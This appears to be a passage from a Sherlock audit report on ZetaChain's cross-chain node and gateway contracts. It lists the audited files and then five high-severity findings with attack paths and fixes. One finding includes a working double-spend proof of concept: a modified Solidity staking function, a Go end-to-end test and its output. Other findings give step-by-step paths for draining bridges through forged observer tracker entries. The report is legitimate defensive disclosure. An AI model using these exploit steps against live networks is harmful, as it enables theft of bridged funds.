- x/observer/keeper/grpc_query_node_account.go
- x/observer/keeper/grpc_query_nonces.go
- x/observer/keeper/grpc_query_observer.go
- x/observer/keeper/grpc_query_operational_flags.go
- x/observer/keeper/grpc_query_supported_chain.go
- x/observer/keeper/grpc_query_tss.go
- x/observer/keeper/grpc_query_tss_funds_migrator_info.go
- x/observer/keeper/hooks.go
- x/observer/keeper/keeper.go
- x/observer/keeper/keygen.go
- x/observer/keeper/last_observer_count.go
- x/observer/keeper/migrator.go
- x/observer/keeper/msg_server.go
- x/observer/keeper/msg_server_add_observer.go
- x/observer/keeper/msg_server_disable_cctx_flags.go
- x/observer/keeper/msg_server_disable_fast_confirmation.go
- x/observer/keeper/msg_server_enable_cctx_flags.go
- x/observer/keeper/msg_server_remove_chain_params.go
- x/observer/keeper/msg_server_reset_chain_nonces.go
- x/observer/keeper/msg_server_update_chain_params.go
- x/observer/keeper/msg_server_update_gas_price_increase_flags.go
- x/observer/keeper/msg_server_update_keygen.go
- x/observer/keeper/msg_server_update_observer.go
- x/observer/keeper/msg_server_update_operational_chain_params.go
- x/observer/keeper/msg_server_update_operational_flags.go
- x/observer/keeper/msg_server_vote_blame.go
- x/observer/keeper/msg_server_vote_block_header.go

- x/observer/keeper/msg_server_vote_tss.go
- x/observer/keeper/node_account.go
- x/observer/keeper/nonce_to_cctx.go
- x/observer/keeper/observer_set.go
- x/observer/keeper/operational_flags.go
- x/observer/keeper/pending_nonces.go
- x/observer/keeper/tss.go
- x/observer/keeper/tss_funds_migrator.go
- x/observer/keeper/vote_inbound.go
- x/observer/keeper/vote_outbound.go
- x/observer/keeper/voting.go
- x/observer/migrations/v10/migrate.go
- x/observer/module.go
- x/observer/module_simulation.go
- zetaclient/authz/authz_signer.go
- zetaclient/chains/base/confirmation.go
- zetaclient/chains/base/logger.go
- zetaclient/chains/base/observer.go
- zetaclient/chains/base/signer.go
- zetaclient/chains/bitcoin/bitcoin.go
- zetaclient/chains/bitcoin/client/client.go
- zetaclient/chains/bitcoin/client/commands.go
- zetaclient/chains/bitcoin/client/helpers.go
- zetaclient/chains/bitcoin/client/mockgen.go
- zetaclient/chains/bitcoin/common/fee.go
- zetaclient/chains/bitcoin/common/tx_script.go
- zetaclient/chains/bitcoin/common/utils.go
- zetaclient/chains/bitcoin/observer/db.go
- zetaclient/chains/bitcoin/observer/event.go
- zetaclient/chains/bitcoin/observer/gas_price.go
- zetaclient/chains/bitcoin/observer/inbound.go

- `zetaclient/chains/bitcoin/observer/inbound_tracker.go`
- `zetaclient/chains/bitcoin/observer/observer.go`
- `zetaclient/chains/bitcoin/observer/outbound.go`
- `zetaclient/chains/bitcoin/observer/utxos.go`
- `zetaclient/chains/bitcoin/observer/witness.go`
- `zetaclient/chains/bitcoin/signer/outbound_data.go`
- `zetaclient/chains/bitcoin/signer/sign.go`
- `zetaclient/chains/bitcoin/signer/signer.go`
- `zetaclient/chains/evm/client/client.go`
- `zetaclient/chains/evm/client/clientcustom.go`
- `zetaclient/chains/evm/common/cctx.go`
- `zetaclient/chains/evm/common/constant.go`
- `zetaclient/chains/evm/common/validation.go`
- `zetaclient/chains/evm/evm.go`
- `zetaclient/chains/evm/observer/inbound.go`
- `zetaclient/chains/evm/observer/observer.go`
- `zetaclient/chains/evm/observer/observer_gas.go`
- `zetaclient/chains/evm/observer/outbound.go`
- `zetaclient/chains/evm/observer/v2_inbound.go`
- `zetaclient/chains/evm/observer/v2_inbound_tracker.go`
- `zetaclient/chains/evm/observer/v2_outbound.go`
- `zetaclient/chains/evm/signer/gas.go`
- `zetaclient/chains/evm/signer/outbound_data.go`
- `zetaclient/chains/evm/signer/outbound_tracker_reporter.go`
- `zetaclient/chains/evm/signer/sign.go`
- `zetaclient/chains/evm/signer/signer.go`
- `zetaclient/chains/evm/signer/signer_admin.go`
- `zetaclient/chains/evm/signer/v2_sign.go`
- `zetaclient/chains/evm/signer/v2_signer.go`
- `zetaclient/chains/interfaces/interfaces.go`
- `zetaclient/chains/solana/observer/inbound.go`

- `zetaclient/chains/solana/observer/inbound_tracker.go`
- `zetaclient/chains/solana/observer/observer.go`
- `zetaclient/chains/solana/observer/observer_gas.go`
- `zetaclient/chains/solana/observer/outbound.go`
- `zetaclient/chains/solana/rpc/rpc.go`
- `zetaclient/chains/solana/signer/execute.go`
- `zetaclient/chains/solana/signer/execute_spl.go`
- `zetaclient/chains/solana/signer/increment_nonce.go`
- `zetaclient/chains/solana/signer/outbound_tracker_reporter.go`
- `zetaclient/chains/solana/signer/signer.go`
- `zetaclient/chains/solana/signer/whitelist.go`
- `zetaclient/chains/solana/signer/withdraw.go`
- `zetaclient/chains/solana/signer/withdraw_spl.go`
- `zetaclient/chains/solana/solana.go`
- `zetaclient/chains/sui/client/client.go`
- `zetaclient/chains/sui/observer/inbound.go`
- `zetaclient/chains/sui/observer/observer.go`
- `zetaclient/chains/sui/observer/outbound.go`
- `zetaclient/chains/sui/signer/signer.go`
- `zetaclient/chains/sui/signer/signer_tracker.go`
- `zetaclient/chains/sui/signer/signer_tx.go`
- `zetaclient/chains/sui/signer/signer_withdrawcap.go`
- `zetaclient/chains/sui/sui.go`
- `zetaclient/chains/ton/config/config.go`
- `zetaclient/chains/ton/liteapi/client.go`
- `zetaclient/chains/ton/observer/inbound.go`
- `zetaclient/chains/ton/observer/observer.go`
- `zetaclient/chains/ton/observer/outbound.go`
- `zetaclient/chains/ton/signer/signer.go`
- `zetaclient/chains/ton/signer/signer_tracker.go`
- `zetaclient/chains/ton/ton.go`

- `zetaclient/common/constant.go`
- `zetaclient/common/env.go`
- `zetaclient/compliance/compliance.go`
- `zetaclient/config/config.go`
- `zetaclient/config/config_chain.go`
- `zetaclient/config/types.go`
- `zetaclient/context/app.go`
- `zetaclient/context/chain.go`
- `zetaclient/context/context.go`
- `zetaclient/db/db.go`
- `zetaclient/keys/interfaces/interfaces.go`
- `zetaclient/keys/keys.go`
- `zetaclient/keys/relayer_key.go`
- `zetaclient/logs/fields.go`
- `zetaclient/maintenance/shutdown_listener.go`
- `zetaclient/maintenance/tss_listener.go`
- `zetaclient/metrics/burn_rate.go`
- `zetaclient/metrics/metrics.go`
- `zetaclient/metrics/telemetry.go`
- `zetaclient/orchestrator/contextupdater.go`
- `zetaclient/orchestrator/v2_bootstrap.go`
- `zetaclient/orchestrator/v2_orchestrator.go`
- `zetaclient/ratelimiter/rate_limiter.go`
- `zetaclient/testutils/constant.go`
- `zetaclient/testutils/evm.go`
- `zetaclient/testutils/mempool_client.go`
- `zetaclient/tss/config.go`
- `zetaclient/tss/crypto.go`
- `zetaclient/tss/healthcheck.go`
- `zetaclient/tss/keygen.go`
- `zetaclient/tss/readme.md`

- `zetaclient/tss/service.go`
- `zetaclient/tss/setup.go`
- `zetaclient/types/dynamic_ticker.go`
- `zetaclient/types/ethish.go`
- `zetaclient/types/event.go`
- `zetaclient/types/sql.go`
- `zetaclient/types/sql_btc.go`
- `zetaclient/types/sql_evm.go`
- `zetaclient/types/telemetry_types.go`
- `zetaclient/zetacore/broadcast.go`
- `zetaclient/zetacore/client.go`
- `zetaclient/zetacore/client_cosmos.go`
- `zetaclient/zetacore/client_crosschain.go`
- `zetaclient/zetacore/client_fungible.go`
- `zetaclient/zetacore/client_monitor.go`
- `zetaclient/zetacore/client_operationalflags.go`
- `zetaclient/zetacore/client_start.go`
- `zetaclient/zetacore/client_subscriptions.go`
- `zetaclient/zetacore/client_vote.go`
- `zetaclient/zetacore/constant.go`
- `zetaclient/zetacore/tx.go`

Repository: `zeta-chain/protocol-contracts`

Audited Commit: `1d79e0ff60291a3f9fb0338e6ac7415b60f73ab8`

Files:

- `contracts/evm/ERC20Custody.sol`
- `contracts/evm/GatewayEVM.sol`
- `contracts/evm/ZetaConnectorBase.sol`
- `contracts/evm/ZetaConnectorNative.sol`
- `contracts/evm/ZetaConnectorNonNative.sol`
- `contracts/zevm/GatewayZEVm.sol`

- contracts/zevm/SystemContract.sol
- contracts/zevm/WZETA.sol
- contracts/zevm/ZRC20.sol

Repository: zeta-chain/protocol-contracts-solana

Audited Commit: 55b1c78199b1f770718cf86284d4b61a58627697

Files:

- programs/gateway/src/contexts.rs
- programs/gateway/src/errors.rs
- programs/gateway/src/instructions/admin.rs
- programs/gateway/src/instructions/deposit.rs
- programs/gateway/src/instructions/execute.rs
- programs/gateway/src/instructions/mod.rs
- programs/gateway/src/instructions/withdraw.rs
- programs/gateway/src/lib.rs
- programs/gateway/src/state.rs
- programs/gateway/src/utils/constants.rs
- programs/gateway/src/utils/mod.rs
- programs/gateway/src/utils/prepare_account metas.rs
- programs/gateway/src/utils/recover_and_verify_eth_address.rs
- programs/gateway/src/utils/validate_message.rs
- programs/gateway/src/utils/validate_message_hash.rs
- programs/gateway/src/utils/verify_and_update_nonce.rs
- programs/gateway/src/utils/verify_ata_match.rs
- programs/gateway/src/utils/verify_authority.rs
- programs/gateway/src/utils/verify_payload_size.rs

Repository: zeta-chain/protocol-contracts-sui

Audited Commit: b1bd4edde62ce4598eaa4d53edb2f17a01742997

Files:

- sources/gateway.move

Repository: zeta-chain/protocol-contracts-ton

Audited Commit: 5def0091aeee6e9f05629e1e74d90b1ac24fa0c9

Files:

- contracts/common/crypto.fc
- contracts/common/errors.fc
- contracts/common/gas.fc
- contracts/common/messages.fc
- contracts/common/state.fc
- contracts/gateway.fc
- contracts/imports/stdlib.fc

Please note: issues 329, 373 and 375 have not been addressed as of the production of this report and have been put on the protocol team's roadmap to be fixed in the future.

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues Found

High	Medium
5	38

Security experts who found valid issues

0x15
0x73696d616f
0xAlix2
0xC2939291
0xalpharush
0xkmr_

0xpetern
Al-Qa-qa
Alpha
Audinarey
BrothersInCode
Flashloan44

Goran
Laksmana
OhmOudits
adeolu
berndartmueller
ch13fd357r0y3r

chinepun
forgebyola
g
ifeco445

mahdiRostami
oade_hacks
pks_
shaflow01

sherlockxyz
stonejiajia
zanderbyte

Issue H-1: Malicious observer can drain Solana bridge by adding failed deposit transaction to inbound tracker

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/58>

Found by

Oxalpharush, berndartmueller

Summary

Any single entity with the admin or observer role can drain the Solana-Zetachain bridge. Deposits can be spoofed by encoding a deposit instruction such that the transaction fails yet is still processed as valid when a malicious observer adds the tx to the inbound CCTX tracker. This is due to the lack of validation on the solana transaction's meta not containing an error. Normally, observers will not process failing transactions, but this code path fails to perform the same validation unlike its EVM counterpart. While this requires a "privileged" role, every validator is an observer and BFT consensus is supposed to be byzantine tolerant i.e. tolerate $<1/3$ malicious parties. Thus, one malicious observer should not be able to forge a deposit and induce honest validators to vote to mint ZRC20 Sol for failed transactions through the inbound tracker, which lacks validations for its Solana implementation.

Root Cause

The `ProcessInboundEvents` function does not require a transaction to have succeeded unlike the EVM inbound observer which does this correctly here. Since the instruction is decoded as if it succeeded, a malicious observer can spoof a deposit for the entire ZRC20-SOL balance and then withdraw the SOL locked in the Solana side of the bridge, stealing all lamports in the bridge. This attack could also be used to withdraw SPL tokens or perform arbitrary deposits and calls. For example, removing the writable property from the gateway's PDA in the deposit instruction results in a failing transaction (see the anchor constraint error in the POC), and it can still be processed once added to the inbound tracker via `MsgAddInboundTracker`.

Internal Pre-conditions

1. A malicious or negligent observer adds the a failing Solana tx that contains Gateway instructions to the inbound tracker using `MsgAddInboundTracker`, resulting in all validators processing and voting to mint ZRC20 Sol on Zetachain.

2. The CCTX receives sufficient votes and unbacked ZRC20 Sol on Zetachain is minted.

External Pre-conditions

1. Any party sends a failing transaction to the gateway with a deposit instruction (or deposit and call).
2. The recipient of the ZRC20 Sol on Zetachain withdraws it and receives lamports on Solana.

Attack Path

1. Any party sends a failing transaction to the gateway with a deposit instruction (or deposit and call).
2. A malicious or negligent observer adds the a failing Solana tx that contains Gateway instructions to the inbound tracker using `MsgAddInboundTracker`, resulting in all validators processing and voting to mint ZRC20 Sol on Zetachain.
3. The `ProcessInboundTrackers` task causes the spoofed CCTX to received sufficient votes, and unbacked ZRC20 Sol on Zetachain is minted.
4. The recipient of the ZRC20 Sol on Zetachain withdraws it and receives lamports on Solana.

Impact

All lamports and SPL tokens deposited in the Solana bridge can be stolen given deposits can be forged for any amount (they are processed despite the Gateway program causing the txs to revert).

PoC

Apply the git diff [here](#) to the node/.

Run the following tests

```
$ export E2E_ARGS='--verbose'
$ make start-solana-test
$ docker logs orchestrator --follow
```

Observe in the orchestrator's logs that the `solana_deposit` test passes, and ZRC20 is minted for a failing deposit transaction (fails with `AnchorError` caused by `account: pda`. Error Code: `ConstraintMut`. Error Number: 2000).

Mitigation

Do not process events from failing Solana txs by checking its `Meta.Err` is `nil` as this patch does.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
<https://github.com/zeta-chain/node/pull/3914>

gjaldon

Fixed by adding a check that the transaction succeeded before observing it as an Inbound.

Issue H-2: Dirty EVM state changes are not committed before precompile calls, resulting in double-spending or loss of ZETA tokens

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/329>

This issue has been acknowledged by the team but won't be fixed at this time.

Found by

berndartmueller, stonejiajia

Summary

"Dirty" EVM state changes before the precompile call are not committed (written) to the Cosmos SDK state. As a result, Cosmos SDK actions (e.g., delegate) operate on old state, and, **after** the precompile call, the EVM dirty state is committed, overwriting the changes made by the Cosmos SDK action.

Overall, this allows double-spending native ZETA tokens, and in other situations leads to loss of ZETA tokens if the state is wrongly overwritten.

Root Cause

In ZetaChain's precompiles, the `Run()` function does not commit the current EVM state changes before executing the Cosmos SDK code. If the Cosmos SDK actions involve spending native ZETA tokens, it will either lead to double-spending or loss of tokens.

Let's focus on the most obvious areas that are affected:

Staking ZETA tokens

Prior to the staking precompile call, if the user transfers native ZETA tokens in Solidity, the Cosmos SDK state is not updated to reflect the spent tokens.

The Delegate call will then succeed, double-spending the tokens.

Note that the explicit `stateDB.SubBalance()` call in the staking precompile is not sufficient to prevent double-spending due to the lack of checking if the subtraction leads to an underflow.

[precompiles/staking/method_stake.go#L82-L88](#)

```

82:    // if caller is not the same as origin it means call is coming through
    ↪ smart contract,
83:    // and because state of smart contract calling precompile might be updated
    ↪ as well
84:    // manually reduce amount in stateDB, so it is properly reflected in bank
    ↪ module
85:    stateDB := evm.StateDB.(precompiletypes.ExtStateDB)
86:    if contract.CallerAddress != evm.Origin {
87:        stateDB.SubBalance(stakerAddress, amountUint256)
88:    }

```

This explicit `SubBalance()` call is rather important to ensure that after the delegation, the EVM state is consistent with the just spent ZETA tokens. Otherwise, the ZETA tokens could be double-spent by being transferred after the precompile call.

Claiming staking rewards

Staking rewards are either explicitly claimed by a user via calling the precompile or implicitly via Cosmos SDK hooks when delegating/undelegating/re-delegating.

If prior to the precompile call in Solidity, the withdrawer address is involved in any EVM state changes (e.g., by transferring ZETA token to/from it), the ZETA token balance at this time is cached in the EVM `statedb` state and not reflected in the Cosmos SDK state.

Now, when claiming and receiving the ZETA coins as staking rewards, the Cosmos SDK state is updated to reflect the balance change.

At the end of the EVM call (which contains the precompile call), the EVM state is committed, which overwrites the Cosmos SDK state with the cached EVM state. As a result, it will overwrite the staking rewards that were just claimed, and the user will lose them.

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1. In Solidity, the user transfers their ZETA tokens to another address
2. Call the staking precompile method to delegate ZETA tokens
3. The precompile call will succeed, and the ZETA tokens are delegated

4. The ZETA tokens are double-spent

Impact

- Double-spending of ZETA tokens
- Loss of ZETA staking rewards

PoC

The following PoC runs the `precompile_contracts_staking_through_contract` e2e test and demonstrates how ZETA tokens can be double-spent by transferring them to the `0xd` address before the precompile call.

Update the `stakeWithStateUpdate` function in `TestStaking.sol`:

```
function stakeWithStateUpdate(
    address staker,
    string memory validator,
    uint256 amount
) external onlyOwner returns (bool) {
    counter = counter + 1;
    // transfer full balance
    (bool success, ) = payable(address(0xdead)).call{value: payable(this).balance}
    ↪ ("");
    require(success, "transfer to dead address failed");

    success = staking.stake(staker, validator, amount);
    counter = counter + 1;
    return success;
}
```

Generate ABI Go bindings:

```
go generate ./e2e/contracts/teststaking
```

Replace the existing test code in `e2e/e2etests/test_precompiles_staking_through_contract.go` with the following:

```
package e2etests

import (
    "math/big"

    sdk "github.com/cosmos/cosmos-sdk/types"
    banktypes "github.com/cosmos/cosmos-sdk/x/bank/types"
    "github.com/cosmos/cosmos-sdk/x/staking/types"
    "github.com/ethereum/go-ethereum/accounts/abi/bind"
```

```

"github.com/ethereum/go-ethereum/common"
"github.com/stretchr/testify/require"

"github.com/zeta-chain/node/cmd/zetacored/config"
"github.com/zeta-chain/node/e2e/contracts/teststaking"
"github.com/zeta-chain/node/e2e/runner"
"github.com/zeta-chain/node/e2e/utils"
)

func TestPrecompilesStakingThroughContract(r *runner.E2ERunner, args []string) {
    require.Len(r, args, 0, "No arguments expected")

    testStakingAddr, testStakingTx, testStaking, err :=
↪ teststaking.DeployTestStaking(
        r.ZEVMAuth,
        r.ZEVMClient,
        r.WZetaAddr,
    )
    require.NoError(r, err)
    utils.MustWaitForTxReceipt(r.Ctx, r.ZEVMClient, testStakingTx, r.Logger,
↪ r.ReceiptTimeout)

    validators, err := testStaking.GetAllValidators(&bind.CallOpts{})
    require.NoError(r, err)
    require.GreaterOrEqual(r, len(validators), 2)

    // shares are 0 for both validators at the start
    sharesBeforeVal1, err := testStaking.GetShares(&bind.CallOpts{},
↪ testStakingAddr, validators[0].OperatorAddress)
    require.NoError(r, err)
    require.Equal(r, int64(0), sharesBeforeVal1.Int64())

    sharesBeforeVal2, err := testStaking.GetShares(&bind.CallOpts{},
↪ testStakingAddr, validators[1].OperatorAddress)
    require.NoError(r, err)
    require.Equal(r, int64(0), sharesBeforeVal2.Int64())

    r.ZEVMAuth.Value = big.NewInt(10000000000000)
    previousGasLimit := r.ZEVMAuth.GasLimit
    r.ZEVMAuth.GasLimit = 10000000
    defer func() {
        r.ZEVMAuth.GasLimit = previousGasLimit
    }()

    // fund testStaking contract with azeta
    tx, err := testStaking.DepositWZETA(r.ZEVMAuth)
    require.NoError(r, err)
    utils.MustWaitForTxReceipt(r.Ctx, r.ZEVMClient, tx, r.Logger, r.ReceiptTimeout)
    r.ZEVMAuth.Value = big.NewInt(0)

```

```

stakeAmount := 100000000000
tx, err = testStaking.WithdrawWZETA(r.ZEVMAuth, big.NewInt(int64(stakeAmount)))
require.NoError(r, err)
utils.MustWaitForTxReceipt(r.Ctx, r.ZEVMClient, tx, r.Logger, r.ReceiptTimeout)

expectedValAddr, err := sdk.ValAddressFromBech32(validators[0].OperatorAddress)
require.NoError(r, err)

// get the balance of the Oxdead evm address
balanceDeadBeforeStake, err := r.BankClient.Balance(r.Ctx,
↪ &banktypes.QueryBalanceRequest{
    Address: sdk.AccAddress(common.HexToAddress("Oxdead").Bytes()).String(),
    Denom:   config.BaseDenom,
})
require.NoError(r, err)

// stake 2 more to validator1 using testStaking smart contract with smart
↪ contract state update
tx, err = testStaking.StakeWithStateUpdate(
    r.ZEVMAuth,
    testStakingAddr,
    validators[0].OperatorAddress,
    big.NewInt(2),
)
require.NoError(r, err)
receipt := utils.MustWaitForTxReceipt(r.Ctx, r.ZEVMClient, tx, r.Logger,
↪ r.ReceiptTimeout)

// check that stake event was emitted
stakeEvent, err := testStaking.ParseStake(*receipt.Logs[0])
require.NoError(r, err)
require.Equal(r, big.NewInt(2).Uint64(), stakeEvent.Amount.Uint64())
require.Equal(r, common.BytesToAddress(expectedValAddr.Bytes()),
↪ stakeEvent.Validator)
require.Equal(r, testStakingAddr, stakeEvent.Staker)

// check that bank balance is 0
balanceAfterStake, err := r.BankClient.Balance(r.Ctx,
↪ &banktypes.QueryBalanceRequest{
    Address: sdk.AccAddress(testStakingAddr.Bytes()).String(),
    Denom:   config.BaseDenom,
})
require.NoError(r, err)
require.Equal(r, int64(0), balanceAfterStake.Balance.Amount.Int64())

// get the zeta balance of the Oxdead address and subtract the balance before
↪ the stake to determine the received amount
balanceDeadAfterStake, err := r.BankClient.Balance(r.Ctx,
↪ &banktypes.QueryBalanceRequest{
    Address: sdk.AccAddress(common.HexToAddress("Oxdead").Bytes()).String(),

```

```

        Denom:    config.BaseDenom,
    })
    require.NoError(r, err)
    require.Greater(r, balanceDeadAfterStake.Balance.Amount.Int64()-balanceDeadBeforeStake.Balance.Amount.Int64(), int64(0))

    r.Logger.Info("balanceDeadAfterStake", "balance",
    balanceDeadAfterStake.Balance.Amount.Int64())

    // check that counter is updated
    counter, err := testStaking.Counter(&bind.CallOpts{})
    require.NoError(r, err)
    require.Equal(r, int64(2), counter.Int64())

    // check shares are set to 2
    sharesAfterVal1, err := testStaking.GetShares(&bind.CallOpts{},
    testStakingAddr, validators[0].OperatorAddress)
    require.NoError(r, err)
    require.Equal(r, big.NewInt(2e18).String(), sharesAfterVal1.String())

    // check delegation amount using staking keeper query client
    delegationAfterVal1, err := r.StakingClient.Delegation(r.Ctx,
    &types.QueryDelegationRequest{
        DelegatorAddr: sdk.AccAddress(testStakingAddr.Bytes()).String(),
        ValidatorAddr: validators[0].OperatorAddress,
    })
    require.NoError(r, err)
    require.Equal(r, int64(2),
    delegationAfterVal1.DelegationResponse.Balance.Amount.Int64())
}

```

Run the test:

```

zetae2e run precompile_contracts_staking_through_contract --config
cmd/zetae2e/config/local.yml --verbose

```

Result:

The test succeeds. ZETA tokens are sent to the `0xdead` address **and** delegated to the validator.

```

e2e      | starting tests
e2e      |   balance of spl zrc20: no contract code at given address
e2e      |   balance of sui zrc20: nil
e2e      |   balance of sui token zrc20: nil
e2e      |   running - precompile_contracts_staking_through_contract
e2e      | [INFO] balanceDeadAfterStake%!(EXTRA string=balance,
↳ int64=3999999999996)
e2e      |   completed - precompile_contracts_staking_through_contract
↳ (13.136586792s)

```

```

e2e      | balance of spl zrc20: no contract code at given address
e2e      | balance of sui zrc20: nil
e2e      | balance of sui token zrc20: nil
e2e      | tests finished in 18.16416425s
e2e      | --- E2E Test Report ---
Name                                           Success    Time           Spent
precompile_contracts_staking_through_contract 18.149263083s
↳ ZETA:298119430000000000

```

Mitigation

Similarly to [Evmos' implementation](#), commit the EVM state changes before executing the Cosmos SDK precompile code to ensure both states are synced.

Issue H-3: A Malicious Observer can use TON's Outbound Tracker to steal funds from Zetachain

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/373>

Found by

g

Summary

The `processOutboundTracker()` does not check that the TON transaction's nonce matches the CCTX nonce. This allows a malicious Observer to add a tx hash to the tracker that points to a TON withdrawal transaction with a different nonce and has failed, even though their withdrawal succeeded. This allows them to extract funds from Zetachain twice instead of once. Once through the successful withdrawal in TON and another through the refund for the reverted outbound CCTX in Zetachain.

Root Cause

There are no checks in `processOutboundTracker()` that the TON transaction's nonce does not match the nonce of the outbound CCTX. This enables the passing of withdrawal transaction hashes for different outbound CCTXs (those with different nonces).

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1. A malicious Observer withdraws TON coins from Zetachain to TON, creating an outbound CCTX with nonce 42.
2. Their outbound CCTX is processed, and they receive the withdrawn TON.
3. Before the outbound voting for the outbound CCTX 42 starts, the malicious Observer adds a transaction hash to the outbound tracker for CCTX 42. The hash points to a different withdrawal transaction that failed.

4. Every Observer will process the outbound tracker for 42 and set its receiveStatus to failed.
5. Every Observer will post a vote outbound for the outbound CCTX 42. They will vote that they observed a failure.
6. Once the consensus is reached and the vote has been finalized, the failed outbound CCTX 42 will trigger trigger a revert and refund the TON coins to the sender in Zetachain.

Impact

Zetachain will permanently lose TON coins to the attacker. The attacker gains TON coins equal to their withdrawal amount on top of the amount withdrawn.

PoC

No response

Mitigation

Consider checking that the outbound CCTX nonce matches the nonce used in the TON transaction and that the transaction has incremented the nonce.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
<https://github.com/zeta-chain/node/pull/3977>

Issue H-4: TON Observer processes each hash in the Outbound tracker and stores the result of the last nonce successfully processed

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/375>

Found by

g

Summary

When the TON Observer processes an Outbound tracker, it will process each hash without stopping if an error is encountered. The last tx hash successfully processed will overwrite any previous successful processing when it calls setOutboundByNonce(). This allows any malicious Observer to add the last tx hash to an Outbound Tracker to mess with the results intentionally.

Root Cause

Unlike the Bitcoin Observer, which will iterate every tx hash to find the truly included outbound, the TON Observer will only store the results of the last transaction it successfully processed as long as:

1. It's a withdrawal transaction.
2. The signer of the payload hash is the TSS address.

There is also no check that the transaction has incremented the nonce.

Internal Pre-conditions

None

External Pre-conditions

None

Attack Path

1. Outbound 42 is a successful withdrawal where the sender has received their withdrawn amount.

2. A malicious Observer can add the tx hash to the Outbound Tracker of Outbound 42 with a failed withdrawal transaction with the same nonce. This can naturally occur when multiple Observers try to broadcast the same Outbound transaction. They do this at the last moment to ensure their tx hash will dictate the observed status.
3. When the Outbound Tracker for Outbound 42 is processed, their tx hash's results will be used, and it will be a receive_status of failed. This means the attacker can make a successful observation into a failed observation.
4. Every Observer will vote on outbound 42 with a failed observation, marking it as a Pending Revert.
5. The sender of the withdrawal ends up claiming both the withdrawal and the refund on their withdrawal, doubling their funds at the expense of Zetachain.

Impact

The protocol permanently loses funds equal to the withdrawal amount. The attacker/target will gain funds equal to their withdrawal amount, doubling their withdrawal amount.

PoC

No response

Mitigation

No response

Issue H-5: Token Mismatch in SPL Token Deposits

Source:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain-judging/issues/421>

Found by

0xkmr_, OhmOudits, adeolu, berndartmueller, chinepun, g, mahdiRostami

Summary

The Gateway Solana program contains a critical vulnerability in its `handle_spl` function within the `deposit.rs` file. While the program requires a whitelist entry account for the SPL token being deposited, it does not verify that the token being transferred from the user's account actually matches the whitelisted token specified in the transaction context. This mismatch allows an attacker to deposit a non-whitelisted token while claiming it's a different, whitelisted token. The ZetaChain node, which processes these deposits, will incorrectly identify the deposited token based on the mint address in the transaction context rather than the actual token being transferred, potentially leading to incorrect cross-chain asset transfers and economic damage.

snippet of the `DepositSplToken` context below

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/protocols-contracts-solana/programs/gateway/src/contexts.rs#L76C1-L89C1>

```
#[derive(Accounts)]
pub struct DepositSplToken<'info> {
    /// The account of the signer making the deposit.
    #[account(mut)]
    pub signer: Signer<'info>,

    /// Gateway PDA.
    #[account(mut, seeds = [b"meta"], bump)]
    pub pda: Account<'info, Pda>,

    /// The whitelist entry account for the SPL token.
    #[account(seeds = [b"whitelist", mint_account.key().as_ref()], bump)]
    pub whitelist_entry: Account<'info, WhitelistEntry>,

    /// The mint account of the SPL token being deposited.
    pub mint_account: Account<'info, Mint>,

    /// The token program.
    pub token_program: Program<'info, Token>,

    /// The source token account owned by the signer.
    #[account(mut)]
```

```

pub from: Account<'info, TokenAccount>,

/// The destination token account owned by the PDA.
#[account(mut)]
pub to: Account<'info, TokenAccount>,

/// The system program.
pub system_program: Program<'info, System>,
}

```

mint_account which is used in the whitelist_entry can be different from the token_program and to.mint or from.mint account.

Root Cause

The deposit process for SPL tokens involves multiple components that interact as follows:

1. The process begins when a user calls the deposit_spl_token function in lib.rs:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/protocol-contracts-solana/programs/gateway/src/lib.rs#L236-L242>

```

pub fn deposit_spl_token(
    ctx: Context<DepositSplToken>,
    amount: u64,
    receiver: [u8; 20],
    revert_options: Option<RevertOptions>,
) -> Result<()> {
    instructions::deposit::handle_spl(ctx, amount, receiver, revert_options,
    ↪ DEPOSIT_FEE)
}

```

2. This function calls handle_spl in deposit.rs, which performs the actual deposit operation:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/protocol-contracts-solana/programs/gateway/src/instructions/deposit.rs#L68-L77>

```

pub fn handle_spl(
    ctx: Context<DepositSplToken>,
    amount: u64,
    receiver: [u8; 20],
    revert_options: Option<RevertOptions>,
    deposit_fee: u64,
) -> Result<()> {
    verify_payload_size(None, &revert_options)?;
    let token = &ctx.accounts.token_program; // @audit no check for if token is
    ↪ whitelisted, or is for same one represented by ctx.accounts.mint_account
}

```

```

    //this disparity can affect the final message emitted, and can affect node
    ↪ processing. i.e if two whitelisted tokens usdc and weth, attacker can ust
    ↪ mint_account for weth and send in 10 usdc
    //msg willl emit weth as mint_account and node will process deposit on the
    ↪ other side as weth deposit
    let from = &ctx.accounts.from;

    // ... rest of the function ...
}

```

3. The DepositSplToken context includes a whitelist_entry account that is derived from the mint address:

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/protocol-contracts-solana/programs/gateway/src/contexts.rs#L76C1-L105>

```

#[derive(Accounts)]
pub struct DepositSplToken<'info> {
    // ... other fields ...

    /// The whitelist entry account for the SPL token.
    #[account(seeds = [b"whitelist", mint_account.key().as_ref()], bump)]
    pub whitelist_entry: Account<'info, WhitelistEntry>,

    /// The mint account of the SPL token being deposited.
    pub mint_account: Account<'info, Mint>,

    /// The token program.
    pub token_program: Program<'info, Token>,

    /// The source token account owned by the signer.
    #[account(mut)]
    pub from: Account<'info, TokenAccount>,

    // ... other fields ...
}

```

And there is no check in the logic to verify that token_program is the valid one belonging to the mint_account provided and the same for to.mint and from.mint. Full function logic below

<https://github.com/sherlock-audit/2025-04-zetachain-cross-chain/blob/main/protocol-contracts-solana/programs/gateway/src/instructions/deposit.rs#L68-L119>

```

pub fn handle_spl(
    ctx: Context<DepositSplToken>,
    amount: u64,
    receiver: [u8; 20],
    revert_options: Option<RevertOptions>,
    deposit_fee: u64,

```

```

